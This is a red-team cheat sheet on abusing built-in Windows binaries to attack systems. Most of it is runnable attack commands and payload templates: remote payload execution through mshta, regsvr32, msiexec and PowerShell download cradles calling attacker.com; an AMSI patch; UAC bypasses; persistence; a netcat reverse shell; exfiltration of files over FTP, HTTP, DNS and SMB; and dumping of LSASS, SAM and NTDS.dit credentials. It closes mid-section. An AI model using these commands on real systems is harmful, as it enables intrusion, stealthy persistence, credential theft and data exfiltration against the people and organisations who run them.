Legend: [WIN] = Windows built-in | [EXEC] = Code Execution | [DL] = File Download | [BYPASS] = Security Bypass | [PERSIST] = Persistence | [EXFIL] = Data Exfiltration | [OPSEC] = Stealth consideration

1. What is LOLBAS

What it means: Living Off the Land Binaries, Scripts, and Libraries (LOLBAS) is a technique where attackers abuse legitimate, pre-installed Windows binaries and scripts to perform malicious actions — without dropping custom malware to disk. Since these tools are signed by Microsoft and trusted by the OS, they bypass many AV/EDR solutions, AppLocker policies, and behavioral detections that flag unknown executables.

LOLBAS Attack Philosophy:

┌──────────────────────────────────────────────────────────────┐  
│ Traditional Attack:                                          │  
│ Drop malware.exe → AV flags → blocked                        │  
│                                                              │  
│ LOL Attack:                                                  │  
│ Use certutil.exe (Microsoft signed) → trusted → executes     │  
│ Use mshta.exe (Microsoft signed) → trusted → executes        │  
│ Use regsvr32.exe (Microsoft signed) → trusted → executes     │  
│                                                              │  
│ Result: Same payload, no custom binary dropped,              │  
│ Windows itself runs your code                                │  
└──────────────────────────────────────────────────────────────┘

LOLBAS Categories

Binaries → .exe files — certutil, mshta, regsvr32, rundll32, msiexec
Scripts → .bat/.ps1/.vbs — built-in scripting engines and utilities
Libraries → .dll files — comsvcs.dll, ieadvpack.dll, shdocvw.dll

Key Resources

https://lolbas-project.github.io/ ← searchable LOLBAS database
https://gtfobins.github.io/ ← Linux equivalent
https://www.loobins.io/ ← macOS equivalent
https://hijacklibs.net/ ← DLL hijacking database

2. Execution Techniques

What it means: These are LOLBAS binaries that can directly execute arbitrary code, scripts, or commands. They are the most commonly used in red team operations to run payloads without touching disk with a custom executable.

2.1 mshta.exe — HTML Application Host

Binary: C:\Windows\System32\mshta.exe
Purpose: Execute .HTA (HTML Application) files — JScript/VBScript in HTML
Signed: Microsoft

:: Execute remote HTA
mshta http://attacker.com/payload.hta

:: Execute local HTA
mshta C:\Users\Public\payload.hta

:: Execute inline VBScript (no file)
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""cmd /c whoami"",0,True")

:: Execute inline JScript
mshta javascript:a=(GetObject('script:http://attacker.com/payload.sct'))

:: Reverse shell via mshta + VBScript
mshta vbscript:Execute("Set o=CreateObject(""Wscript.Shell""):o.Run ""powershell -nop -w hidden -enc BASE64PAYLOAD"",0:window.close")

:: OPSEC: mshta spawns as a child of whatever called it
:: Detection: mshta.exe making network connections is highly suspicious

payload.hta template:

<html>
<head>
<script language="VBScript">
    Dim objShell
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "powershell -nop -w hidden -c ""IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"""
    self.close
</script>
</head>
<body>Loading...</body>
</html>

2.2 regsvr32.exe — Register/Unregister DLLs (Squiblydoo)

Binary: C:\Windows\System32\regsvr32.exe
Purpose: Register COM DLLs — but can execute remote SCT files (scriptlets)
Signed: Microsoft
Bypass: AppLocker, UMCI, application whitelisting

:: Classic Squiblydoo — execute remote scriptlet (no proxy aware!)
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

:: With proxy support use /i: with UNC path
regsvr32 /s /n /u /i:\\attacker.com\share\payload.sct scrobj.dll

:: Execute local SCT
regsvr32 /s /n /u /i:C:\Users\Public\payload.sct scrobj.dll

:: Register malicious DLL
regsvr32 /s evil.dll

:: Flags:
:: /s = silent (no popups)
:: /n = no DllRegisterServer call
:: /u = unregister (triggers DllUnregisterServer → but also runs scriptlet!)
:: /i = install — passes argument to DllInstall

payload.sct template (COM Scriptlet):

<?XML version="1.0"?>
<scriptlet>
<registration
    progid="ShortJSC"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
    <script language="JScript">
        <![CDATA[
            var r = new ActiveXObject("WScript.Shell");
            r.Run("cmd /c powershell -nop -w hidden -enc BASE64PAYLOAD");
        ]]>
    </script>
</registration>
</scriptlet>

2.3 rundll32.exe — Run DLL Functions

Binary: C:\Windows\System32\rundll32.exe
Purpose: Execute exported functions from DLL files
Signed: Microsoft

:: Execute function from DLL
rundll32.exe evil.dll,EntryPoint

:: Execute JavaScript via URL.dll (no DLL drop needed!)
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();
  new%20ActiveXObject("WScript.Shell").Run("cmd /c whoami",0,true);

:: Dump LSASS via comsvcs.dll (see Section 10)
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <PID> C:\loot\lsass.dmp full

:: Execute via URL protocol handler
rundll32.exe url.dll,OpenURL http://attacker.com/payload.hta

:: Execute via ieadvpack.dll
rundll32.exe ieadvpack.dll,LaunchINFSection C:\test.inf,,3

:: Shellcode via VirtualAlloc trick (advanced)
rundll32.exe shell32.dll,Control_RunDLL payload.cpl

2.4 msiexec.exe — Windows Installer

Binary: C:\Windows\System32\msiexec.exe
Purpose: Install MSI packages — can install from HTTP/UNC
Signed: Microsoft

:: Execute remote MSI (HTTP)
msiexec /q /i http://attacker.com/payload.msi

:: Execute remote MSI (UNC)
msiexec /q /i \\attacker.com\share\payload.msi

:: Quiet install (no UI) from local
msiexec /q /i C:\Users\Public\payload.msi

:: Execute MST transform file
msiexec /q /i legit.msi TRANSFORMS=evil.mst

:: Flags:
:: /q  = quiet mode
:: /i  = install
:: /a  = administrative install (extracts, doesn't run installer scripts)

Create malicious MSI with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -f msi -o payload.msi

2.5 wmic.exe — Windows Management Instrumentation

Binary: C:\Windows\System32\wbem\wmic.exe
Purpose: Query and control Windows management data
Signed: Microsoft
Deprecated in Win11 but still present

:: Execute process locally
wmic process call create "cmd /c whoami > C:\loot\out.txt"

:: Execute process on remote machine
wmic /node:192.168.1.10 /user:domain\admin /password:pass process call create "cmd /c..."

:: Execute XSL (via process call create with malicious XSL)
wmic os get /format:"http://attacker.com/payload.xsl"

:: Execute local XSL
wmic os get /format:"C:\Users\Public\payload.xsl"

:: List running processes
wmic process list brief

:: Spawn reverse shell
wmic process call create "powershell -nop -w hidden -enc BASE64"

payload.xsl template:

<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform"
            xmlns:ms="urn:schemas-microsoft-com:xslt"
            xmlns:user="placeholder"
            version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
    var r = new ActiveXObject("WScript.Shell");
    r.Run("cmd /c powershell -nop -enc BASE64PAYLOAD");
]]>
</ms:script>
<template match="/">
    <value-of select="user:execute()"/>
</template>
</stylesheet>

2.6 cscript.exe / wscript.exe — Script Hosts

Binary: C:\Windows\System32\cscript.exe (console)
C:\Windows\System32\wscript.exe (GUI)
Purpose: Execute VBScript / JScript files
Signed: Microsoft

:: Execute VBScript
cscript payload.vbs
wscript payload.vbs

:: Execute JScript
cscript payload.js
wscript payload.js

:: Execute from UNC (network)
cscript \\attacker.com\share\payload.vbs

:: Silent execution
wscript //b //nologo payload.vbs   (/b = batch mode, no alerts)

payload.vbs — reverse shell:

Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -nop -w hidden -c ""IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')""", 0, False

payload.js:

var shell = new ActiveXObject("WScript.Shell");
shell.Run("cmd /c powershell -nop -enc BASE64PAYLOAD", 0, false);

2.7 installutil.exe — .NET Installer Utility

Binary: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe
Purpose: Install .NET assemblies — but runs Uninstall() method with /logfile=/u trick
Signed: Microsoft
Bypass: AppLocker (in Framework path — often whitelisted)

:: Execute .NET payload (bypasses AppLocker if Framework path whitelisted)
installutil.exe /logfile= /logtoconsole=false /u payload.exe

:: 32-bit version
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe /u payload.exe

payload.cs — InstallUtil abuse template:

using System;
using System.Configuration.Install;
using System.Runtime.InteropServices;

[System.ComponentModel.RunInstaller(true)]
public class Exploit : System.Configuration.Install.Installer {
    public override void Uninstall(System.Collections.IDictionary savedState) {
        // Your payload here
        System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\loot\\out.txt");
    }
}

:: Compile
csc /out:payload.exe payload.cs
:: Execute
installutil /u payload.exe

2.8 pcalua.exe — Program Compatibility Assistant

:: Execute arbitrary program via compatibility assistant
pcalua.exe -a calc.exe
pcalua.exe -a \\attacker.com\share\payload.exe
pcalua.exe -a C:\Users\Public\payload.exe -c arguments

2.9 forfiles.exe — Batch Processing

:: Execute cmd via forfiles (useful in script contexts)
forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /c whoami"

:: Download and execute
forfiles /p C:\Windows\System32 /m notepad.exe /c \
  "cmd /c powershell -nop -w hidden -c ""IEX(IWR 'http://attacker.com/shell.ps1')"""

2.10 bash.exe / wsl.exe — Windows Subsystem for Linux

:: If WSL is installed — full Linux shell available!
bash.exe -c "id"
bash.exe -c "curl http://attacker.com/shell.sh | bash"
wsl.exe whoami
wsl.exe -e /bin/bash -c "nc attacker.com 4444 -e /bin/bash"

:: Run Linux tools against Windows filesystem
bash.exe -c "cat /mnt/c/Users/Administrator/Desktop/flag.txt"
wsl.exe cat /mnt/c/sensitive/config.ini

:: Pivot using Linux tooling from Windows host
bash.exe -c "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"

3. File Download & Transfer

What it means: These techniques download files from attacker-controlled servers using legitimate Windows binaries — no PowerShell DownloadFile calls, no wget, no curl (unless installed). Critical for staging payloads after initial access.

3.1 certutil.exe — Certificate Utility (Classic)

Binary: C:\Windows\System32\certutil.exe
Purpose: Certificate management — but can download files and base64 decode
OPSEC: Heavily monitored — certutil + URL = almost certain alert in EDRs

:: Download file (FLAGGED by most EDRs)
certutil.exe -urlcache -split -f http://attacker.com/payload.exe C:\loot\payload.exe

:: Base64 encode a file
certutil.exe -encode payload.exe payload.b64

:: Base64 decode
certutil.exe -decode payload.b64 payload.exe

:: Decode inline base64 string
certutil.exe -decode C:\encoded.txt C:\decoded.exe

:: Hash a file (useful for verification)
certutil.exe -hashfile C:\Windows\System32\calc.exe MD5
certutil.exe -hashfile file.exe SHA256

:: OPSEC NOTE: -urlcache creates artifacts in:
:: C:\Users\<user>\AppData\LocalLow\Microsoft\CryptnetUrlCache\
:: Always clear cache after:
certutil.exe -urlcache -split -f http://attacker.com/payload.exe payload.exe
certutil.exe -urlcache -split -f http://attacker.com/payload.exe delete

3.2 bitsadmin.exe — Background Intelligent Transfer

Binary: C:\Windows\System32\bitsadmin.exe
Purpose: Manage BITS transfer jobs — legitimate Windows Update mechanism
OPSEC: Moderate — BITS jobs are logged in Windows Event Log

:: Download file via BITS
bitsadmin /transfer myJob /download /priority normal \
  http://attacker.com/payload.exe C:\Users\Public\payload.exe

:: Download and execute (one-liner)
bitsadmin /transfer n http://attacker.com/payload.exe C:\loot\p.exe & C:\loot\p.exe

:: Create persistent BITS job (survives reboots if not completed)
bitsadmin /create myJob
bitsadmin /addfile myJob http://attacker.com/payload.exe C:\loot\p.exe
bitsadmin /resume myJob

:: Check job status
bitsadmin /list /allusers
bitsadmin /info myJob /verbose

:: Clean up
bitsadmin /cancel myJob
bitsadmin /reset

:: OPSEC: BITS jobs are logged in:
:: C:\ProgramData\Microsoft\Network\Downloader\
:: Event ID 16403 — BITS job created

3.3 PowerShell Download (Various Methods)

# Method 1: WebClient DownloadFile (most common)
(New-Object Net.WebClient).DownloadFile('http://attacker.com/p.exe','C:\loot\p.exe')

# Method 2: DownloadString (in-memory, no file drop)
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')

# Method 3: Invoke-WebRequest (IWR)
Invoke-WebRequest -Uri 'http://attacker.com/p.exe' -OutFile 'C:\loot\p.exe'
iwr http://attacker.com/p.exe -o C:\loot\p.exe

# Method 4: System.Net.HttpClient
$c = [System.Net.Http.HttpClient]::new()
$r = $c.GetByteArrayAsync('http://attacker.com/p.exe').Result
[IO.File]::WriteAllBytes('C:\loot\p.exe', $r)

# Method 5: BITS via PowerShell
Start-BitsTransfer -Source http://attacker.com/p.exe -Destination C:\loot\p.exe

# Method 6: Cradle (in-memory execution — NO FILE TOUCH)
powershell -nop -w hidden -c "IEX(IWR 'http://attacker.com/shell.ps1' -UseBasicP)"

# Bypass TLS errors
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
(New-Object Net.WebClient).DownloadFile('https://attacker.com/p.exe','p.exe')

# OPSEC: Use -UseBasicParsing to avoid IE engine initialization events

3.4 curl.exe / wget.exe (Windows 10+)

:: curl built into Windows 10 1803+
curl http://attacker.com/payload.exe -o C:\loot\payload.exe
curl -s http://attacker.com/shell.ps1 | powershell -

:: wget (if available or installed via chocolatey/scoop)
wget http://attacker.com/payload.exe -O C:\loot\payload.exe

3.5 hh.exe — HTML Help

:: Download CHM file and execute its embedded scripts
hh.exe http://attacker.com/payload.chm
hh.exe C:\Users\Public\payload.chm

:: CHM files can contain JavaScript/VBScript that auto-executes

3.6 ieexec.exe — Internet Explorer Executable

:: Execute remote .NET app via ClickOnce (Internet Explorer zones)
ieexec.exe http://attacker.com/payload.exe
:: (Executes PE from URL using IE's trusted zone policies)

4. AppLocker & WDAC Bypass

What it means: AppLocker restricts which executables can run by path, publisher, or hash. LOLBAS bypasses work because these binaries live in trusted paths (System32, Program Files), are signed by Microsoft, and are explicitly or implicitly whitelisted by most AppLocker policies.

4.1 Trusted Paths for AppLocker Bypass

Commonly whitelisted paths (user-writable on some configs):
C:\Windows\Tasks
C:\Windows\Temp
C:\Windows\tracing
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\FxsTmp
C:\Windows\SysWOW64\Tasks
C:\Users\Public
%APPDATA%

Check user-writable dirs in System32:
icacls C:\Windows\System32* | findstr /i "Everyone Users"

4.2 Bypass via Trusted Binaries

:: regsvr32 — bypasses AppLocker (doesn't check DLL rules for scrobj.dll path)
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

:: mshta — bypasses Default AppLocker rules (in System32, signed)
mshta http://attacker.com/payload.hta

:: installutil — runs from .NET Framework path (whitelisted by default)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /u payload.exe

:: MSBuild — compile and execute C# inline (see below)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe payload.csproj

:: odbcconf — register DLL via REGSVR action
odbcconf.exe /a {REGSVR C:\Users\Public\evil.dll}

:: PresentationHost.exe (WPF host)
PresentationHost.exe -debug payload.xbap

:: appsync_publish.exe
appsync_publish.exe

4.3 MSBuild.exe — Build C# Inline

Binary: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Purpose: Build .NET projects — but can compile AND execute inline C# tasks
Bypass: AppLocker (Framework path often whitelisted), script rules

<!-- payload.csproj — MSBuild inline task execution -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
          using System;
          using System.Diagnostics;
          using Microsoft.Build.Framework;
          using Microsoft.Build.Utilities;

          public class ClassExample : Task, ITask {
            public override bool Execute() {
              Process.Start("cmd.exe", "/c powershell -nop -enc BASE64PAYLOAD");
              return true;
            }
          }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

:: Execute MSBuild project
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe payload.csproj
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj

4.4 odbcconf.exe — ODBC Configuration

:: Load a DLL via REGSVR action (bypasses AppLocker)
odbcconf.exe /a {REGSVR C:\Users\Public\evil.dll}

:: Use response file
odbcconf.exe -f C:\Users\Public\payload.rsp

payload.rsp:

REGSVR C:\Users\Public\evil.dll

5. AMSI & AV Bypass via LOLBAS

What it means: AMSI (Antimalware Scan Interface) scans PowerShell, JScript, VBScript, and .NET content at runtime. Some LOLBAS techniques invoke script engines in ways that bypass AMSI instrumentation or use signing authority to avoid scanning entirely.

5.1 AMSI Bypass via LOLBAS Script Engines

:: VBScript via cscript/wscript — AMSI hooks may miss certain patterns
wscript //b payload.vbs

:: HTA via mshta — runs in a separate process, AMSI context differs
mshta http://attacker.com/payload.hta

:: XSL via wmic — JScript inside XSL bypasses AMSI in older configs
wmic os get /format:"\\attacker.com\share\payload.xsl"

:: XMLDOM object in JScript — load remote script
var xml = new ActiveXObject("Microsoft.XMLDOM");
xml.async = false;
xml.load("http://attacker.com/payload.xml");

5.2 AMSI Patch via .NET Reflection (PowerShell)

# Patch AMSI in current PowerShell process using reflection
# (Uses only .NET built-ins — no external binaries)
$a=[Ref].Assembly.GetTypes()
ForEach($b in $a){if($b.Name -like "*iUtils"){$c=$b}}
$d=$c.GetFields('NonPublic,Static')
ForEach($e in $d){if($e.Name -like "*Context"){$f=$e}}
$g=$f.GetValue($null)
[IntPtr]$ptr=$g
[Int32[]]$buf=@(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)

6. UAC Bypass via LOLBAS

What it means: Several Windows built-in binaries are auto-elevated (run as high integrity without a UAC prompt) because they are marked autoElevate=true in their manifest. By hijacking their COM object lookups or DLL search order, you can escalate to high integrity silently.

6.1 fodhelper.exe — Features on Demand

Binary: C:\Windows\System32\fodhelper.exe
Manifest: autoElevate=true
Method: Registry hijack — reads HKCU before HKLM
Works on: Windows 10+

:: Step 1: Create registry keys
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /d "" /f

:: Step 2: Launch fodhelper (auto-elevates → spawns cmd.exe as high integrity)
fodhelper.exe

:: Cleanup
reg delete HKCU\Software\Classes\ms-settings /f

# PowerShell one-liner
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
  -Name "DelegateExecute" -Value ""
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
  -Name "(default)" -Value "cmd /c start cmd.exe"
Start-Process "C:\Windows\System32\fodhelper.exe"
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

6.2 eventvwr.exe — Event Viewer

Binary: C:\Windows\System32\eventvwr.exe
Method: Reads HKCU\Software\Classes\mscfile\shell\open\command

# UAC bypass via eventvwr
$payload = "cmd /c start cmd.exe"
$regPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
New-Item $regPath -Force
Set-ItemProperty $regPath -Name "(default)" -Value $payload
Start-Process "eventvwr.exe"
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\mscfile" -Recurse -Force

6.3 sdclt.exe — Backup and Restore

:: sdclt.exe checks HKCU first for shell command
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /d "cmd.exe" /f
sdclt.exe
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /f

6.4 cmstp.exe — Microsoft Connection Manager

:: Execute INF file with elevated privileges via CMSTP
cmstp.exe /ni /s C:\Users\Public\payload.inf

payload.inf:

[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection

[UnRegisterOCXSection]
C:\Windows\system32\scrobj.dll,NI,http://attacker.com/payload.sct

[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Contoso"
ShortSvcName="Contoso"

7. Persistence via LOLBAS

What it means: Legitimate Windows binaries can be used to install persistence mechanisms that survive reboots and appear as normal Windows activity in logs.

7.1 schtasks.exe — Scheduled Tasks

:: Create scheduled task for persistence
schtasks /create /tn "WindowsUpdate" /tr \
  "powershell -nop -w hidden -c IEX(IWR 'http://attacker.com/s.ps1')" \
  /sc DAILY /st 09:00 /f

:: Run at startup
schtasks /create /tn "Startup" /tr "C:\loot\payload.exe" /sc ONSTART /ru SYSTEM /f

:: Run at user logon
schtasks /create /tn "OnLogon" /tr "C:\loot\p.exe" /sc ONLOGON /f

:: Run every minute (beacon callback pattern)
schtasks /create /tn "Sync" /tr "C:\loot\p.exe" /sc MINUTE /mo 1 /f

:: Query tasks
schtasks /query /fo LIST /v | findstr /i "Task Name\|Run As\|Status\|Next Run"

:: Delete task
schtasks /delete /tn "WindowsUpdate" /f

:: Execute task immediately
schtasks /run /tn "WindowsUpdate"

7.2 reg.exe — Registry Persistence

:: HKCU Run key — runs as current user on logon
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \
  /v "WindowsHelper" /t REG_SZ /d "C:\loot\payload.exe" /f

:: HKLM Run key — runs as SYSTEM on boot (requires admin)
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run \
  /v "WindowsHelper" /t REG_SZ /d "C:\loot\payload.exe" /f

:: RunOnce (runs once, then deletes itself)
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce \
  /v "Setup" /t REG_SZ /d "C:\loot\payload.exe" /f

:: Logon via Userinit (requires SYSTEM — very stealthy)
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" \
  /v Userinit /t REG_SZ \
  /d "C:\Windows\System32\userinit.exe,C:\loot\payload.exe" /f

:: Image File Execution Options (IFEO) — debugger hijack
:: Whenever notepad.exe starts → your payload runs instead
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" \
  /v Debugger /t REG_SZ /d "C:\loot\payload.exe" /f

:: COM object hijacking (user-level persistence)
reg add "HKCU\Software\Classes\CLSID\{GUID_HERE}\InprocServer32" \
  /ve /t REG_SZ /d "C:\loot\evil.dll" /f

7.3 sc.exe — Service Control

:: Create a new service (requires admin)
sc create EvilSvc binpath= "C:\loot\payload.exe" start= auto
sc description EvilSvc "Windows Update Helper"
sc start EvilSvc

:: Modify existing service binary path
sc config Spooler binpath= "C:\loot\payload.exe"
sc start Spooler

:: Query service
sc query EvilSvc

:: Delete service
sc delete EvilSvc

7.4 netsh.exe — Network Helper DLL

:: Register a DLL as a netsh helper — persists in registry, loads on netsh execution
netsh add helper C:\loot\evil.dll

:: Registry key created:
:: HKLM\SOFTWARE\Microsoft\NetSh
:: Value: (your DLL path)

:: Trigger on demand
netsh

:: Stealthy — looks like legitimate network config

8. Lateral Movement via LOLBAS

What it means: Built-in Windows administration tools can move between hosts on a network. These are used daily by sysadmins — attacker use blends in with normal traffic.

8.1 psexec.exe (Sysinternals — commonly present)

:: Execute command on remote host (requires admin share access)
psexec \\192.168.1.10 -u domain\admin -p pass cmd.exe
psexec \\192.168.1.10 -u admin -p pass -d -c payload.exe
psexec \\192.168.1.10 cmd /c "whoami"

:: SYSTEM shell
psexec \\192.168.1.10 -s cmd.exe

:: Copy and execute
psexec \\192.168.1.10 -c -f C:\loot\p.exe /args

:: OPSEC: Creates PSEXESVC service on target — very noisy

8.2 wmic.exe — Remote Execution

:: Execute on remote host
wmic /node:192.168.1.10 /user:domain\admin /password:pass \
  process call create "powershell -nop -enc BASE64"

:: Execute on multiple nodes
wmic /node:@targets.txt /user:admin /password:pass \
  process call create "cmd /c whoami > \\share\out.txt"

8.3 winrs.exe — Windows Remote Shell (WinRM)

:: Requires WinRM enabled on target (port 5985/5986)
winrs -r:http://192.168.1.10:5985 -u:domain\admin -p:pass cmd

:: Execute single command
winrs -r:192.168.1.10 -u:admin -p:pass "whoami /all"

:: OPSEC: Relatively quiet compared to PSExec — no service creation

8.4 sc.exe — Remote Service Execution

:: Create service on remote host
sc \\192.168.1.10 create evilsvc binpath= "\\attacker.com\share\p.exe"
sc \\192.168.1.10 start evilsvc

:: Query remote services
sc \\192.168.1.10 query

:: Delete remote service
sc \\192.168.1.10 delete evilsvc

8.5 mstsc.exe / net.exe — RDP & Network Shares

:: Connect via RDP (GUI lateral movement)
mstsc /v:192.168.1.10 /admin

:: Map network share
net use \\192.168.1.10\C$ /user:domain\admin pass
net use Z: \\192.168.1.10\C$ /user:admin pass

:: Copy payload via mapped share
copy C:\loot\payload.exe \\192.168.1.10\C$\Windows\Temp\p.exe

:: List shares
net share
net view \\192.168.1.10

:: Mount share and execute
net use \\192.168.1.10\C$ /user:admin pass
wmic /node:192.168.1.10 process call create "C:\Windows\Temp\p.exe"

9. Data Exfiltration via LOLBAS

What it means: Data can be exfiltrated using native Windows tools over legitimate protocols — DNS, HTTP, SMB — without installing any custom software.

9.1 certutil.exe — Base64 Encode & Exfil

:: Base64 encode sensitive file
certutil -encode C:\Users\Admin\secret.txt C:\loot\secret.b64

:: View encoded file
type C:\loot\secret.b64

:: Send via FTP (using built-in ftp.exe)
echo open attacker.com 21> C:\loot\ftp.txt
echo user anonymous pass>> C:\loot\ftp.txt
echo put C:\loot\secret.b64>> C:\loot\ftp.txt
echo quit>> C:\loot\ftp.txt
ftp -s:C:\loot\ftp.txt

9.2 PowerShell — HTTP Exfil

# POST file to attacker HTTP server
$bytes = [IO.File]::ReadAllBytes("C:\sensitive\data.txt")
$b64   = [Convert]::ToBase64String($bytes)
Invoke-WebRequest -Uri http://attacker.com/upload -Method POST -Body $b64

# Send via WebClient
(New-Object Net.WebClient).UploadString('http://attacker.com/r', [Convert]::ToBase64String(
  [IO.File]::ReadAllBytes('C:\loot\data.txt')))

9.3 DNS Exfiltration via nslookup / Resolve-DnsName

:: Exfil data via DNS TXT queries (data encoded in subdomain)
:: Attacker runs authoritative DNS for attacker.com, logs all queries

:: Exfil a line at a time via nslookup
for /f "tokens=*" %i in (C:\secret.txt) do \
  nslookup %i.attacker.com

:: PowerShell DNS exfil
$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\secret.txt"))
$chunks = $data -split '(?<=\G.{63})'   # DNS labels max 63 chars
foreach ($c in $chunks) {
    Resolve-DnsName "$c.attacker.com" -ErrorAction SilentlyContinue
}

9.4 SMB Exfil via net use

:: Copy data to attacker SMB share
net use \\attacker.com\exfil /user:attacker pass
copy C:\sensitive\*.txt \\attacker.com\exfil\
xcopy C:\sensitive\ \\attacker.com\exfil\ /e /h /c /q
net use \\attacker.com\exfil /delete

10. Credential Access via LOLBAS

What it means: Built-in Windows tools can be used to dump credentials without dropping tools like Mimikatz to disk — using DLLs and utilities already on the system.

10.1 comsvcs.dll — LSASS Dump (No Mimikatz!)

:: Dump LSASS process memory using comsvcs.dll MiniDump function
:: Requires: SYSTEM or SeDebugPrivilege

:: Step 1: Get LSASS PID
tasklist | findstr lsass

:: Step 2: Dump LSASS
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <PID> C:\loot\lsass.dmp full

:: PowerShell (avoids cmd history)
$id = (Get-Process lsass).Id
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump $id C:\loot\lsass.dmp full

:: Step 3: Transfer dump to attacker machine
:: Step 4: Parse offline with Mimikatz
:: sekurlsa::minidump lsass.dmp
:: sekurlsa::logonpasswords

10.2 reg.exe — SAM / SYSTEM / SECURITY Hive Dump

:: Export registry hives to extract local account hashes
:: Requires: SYSTEM or Administrator

reg save HKLM\SAM C:\loot\sam.hive
reg save HKLM\SYSTEM C:\loot\system.hive
reg save HKLM\SECURITY C:\loot\security.hive

:: Parse with impacket on attacker
secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL

:: Or with Mimikatz
:: lsadump::sam /sam:sam.hive /system:system.hive

10.3 vssadmin.exe — Volume Shadow Copy NTDS.dit

:: Access NTDS.dit (AD database) via shadow copy — requires Domain Admin
:: NTDS.dit contains ALL domain user hashes

:: Create shadow copy
vssadmin create shadow /for=C:

:: List shadow copies
vssadmin list shadows

:: Copy NTDS.dit from shadow volume
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\loot\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\loot\

:: Delete shadow copy
vssadmin delete shadows /shadow={GUID} /quiet

:: Parse NTDS.dit offline (impacket)
secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL

10.4 Credential Files via built-in tools

:: Search for credentials in common locations
dir /s /b C:\Users\*password* 2>nul
dir /s /b C:\Users\*.xml 2>nul
dir /s /b C:\Users\*credentials* 2>nul
findstr /si password C:\Users\*.xml C:\Users\*.txt C:\Users\*.ini 2>nul

:: Windows Credential Manager (via cmdkey)
cmdkey /list          ← lists stored credentials (may show passwords!)

:: DPAPI protected credentials (chrome, RDP, etc)
:: Requires user context — use mimikatz dpapi module

11. Recon & Discovery via LOLBAS

What it means: Full recon using only built-in Windows tools — no Nmap, no PowerSploit, no BloodHound (yet). These commands blend perfectly with normal sysadmin activity.

11.1 System & User Enumeration

:: Current user info
whoami /all                     ← user, groups, privileges — run this first!
net user %username%
net localgroup administrators

:: All users on system
net user
wmic useraccount list full

:: All groups
net localgroup
wmic group list brief

:: Domain info
net user /domain
net group /domain
net group "Domain Admins" /domain
nltest /dclist:domain.local     ← list domain controllers
nltest /domain_trusts           ← list domain trusts

11.2 Network Enumeration

:: Network config
ipconfig /all
arp -a                          ← ARP cache (hosts on LAN)
route print
netstat -ano                    ← open connections + PID
netstat -ano | findstr LISTENING

:: DNS
nslookup -type=any domain.local
nslookup -type=SRV _kerberos._tcp.domain.local  ← find DC via SRV

:: Firewall
netsh advfirewall show allprofiles
netsh firewall show config

:: Shares
net share
net view \\127.0.0.1
net view /domain

:: Ping sweep (slow but built-in)
